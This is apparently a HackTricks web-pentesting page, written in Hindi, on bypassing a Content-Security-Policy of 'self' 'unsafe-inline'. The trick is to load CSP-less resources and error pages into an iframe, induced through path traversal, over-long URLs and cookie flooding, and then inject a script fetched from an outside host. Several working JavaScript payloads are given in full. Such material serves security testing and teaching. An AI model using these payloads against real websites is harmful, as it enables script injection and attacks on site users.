hacktricks/src/pentesting-web/content-security-policy-csp-bypass/csp-bypass-self-+-unsafe-inline-with-iframes.md

57 lines
4.1 KiB
Markdown

एक कॉन्फ़िगरेशन जैसे:
```
Content-Security-Policy: default-src 'self' 'unsafe-inline';
```
कोई भी फ़ंक्शन जो स्ट्रिंग के रूप में भेजे गए कोड को निष्पादित करता है, उसके उपयोग पर प्रतिबंध है। उदाहरण के लिए: `eval, setTimeout, setInterval` सभी को `unsafe-eval` सेटिंग के कारण ब्लॉक किया जाएगा।
बाहरी स्रोतों से कोई भी सामग्री भी ब्लॉक की जाती है, जिसमें चित्र, CSS, WebSockets, और विशेष रूप से, JS शामिल हैं।
### टेक्स्ट और चित्र के माध्यम से
यह देखा गया है कि आधुनिक ब्राउज़र चित्रों और टेक्स्ट को उनके प्रदर्शन को बढ़ाने के लिए HTML में परिवर्तित करते हैं (जैसे, पृष्ठभूमि सेट करना, केंद्रित करना, आदि)। परिणामस्वरूप, यदि किसी चित्र या टेक्स्ट फ़ाइल, जैसे `favicon.ico` या `robots.txt`, को `iframe` के माध्यम से खोला जाता है, तो इसे HTML के रूप में प्रस्तुत किया जाता है। विशेष रूप से, इन पृष्ठों में अक्सर CSP हेडर की कमी होती है और इनमें X-Frame-Options शामिल नहीं हो सकते हैं, जिससे इनसे मनमाने JavaScript का निष्पादन संभव हो जाता है:
```javascript
frame = document.createElement("iframe")
frame.src = "/css/bootstrap.min.css"
document.body.appendChild(frame)
script = document.createElement("script")
script.src = "//example.com/csp.js"
window.frames[0].document.head.appendChild(script)
```
### त्रुटियों के माध्यम से
इसी तरह, त्रुटि प्रतिक्रियाएँ, जैसे कि टेक्स्ट फ़ाइलें या चित्र, आमतौर पर CSP हेडर के बिना आती हैं और X-Frame-Options को छोड़ सकती हैं। त्रुटियों को एक iframe के भीतर लोड करने के लिए प्रेरित किया जा सकता है, जिससे निम्नलिखित क्रियाएँ संभव होती हैं:
```javascript
// Inducing an nginx error
frame = document.createElement("iframe")
frame.src = "/%2e%2e%2f"
document.body.appendChild(frame)
// Triggering an error with a long URL
frame = document.createElement("iframe")
frame.src = "/" + "A".repeat(20000)
document.body.appendChild(frame)
// Generating an error via extensive cookies
for (var i = 0; i < 5; i++) {
document.cookie = i + "=" + "a".repeat(4000)
}
frame = document.createElement("iframe")
frame.src = "/"
document.body.appendChild(frame)
// Removal of cookies is crucial post-execution
for (var i = 0; i < 5; i++) {
document.cookie = i + "="
}
```
किसी भी उल्लेखित परिदृश्य को ट्रिगर करने के बाद, iframe के भीतर JavaScript निष्पादन इस प्रकार संभव है:
```javascript
script = document.createElement("script")
script.src = "//example.com/csp.js"
window.frames[0].document.head.appendChild(script)
```
## संदर्भ
- [https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/](https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/)
{{#include ../../banners/hacktricks-training.md}}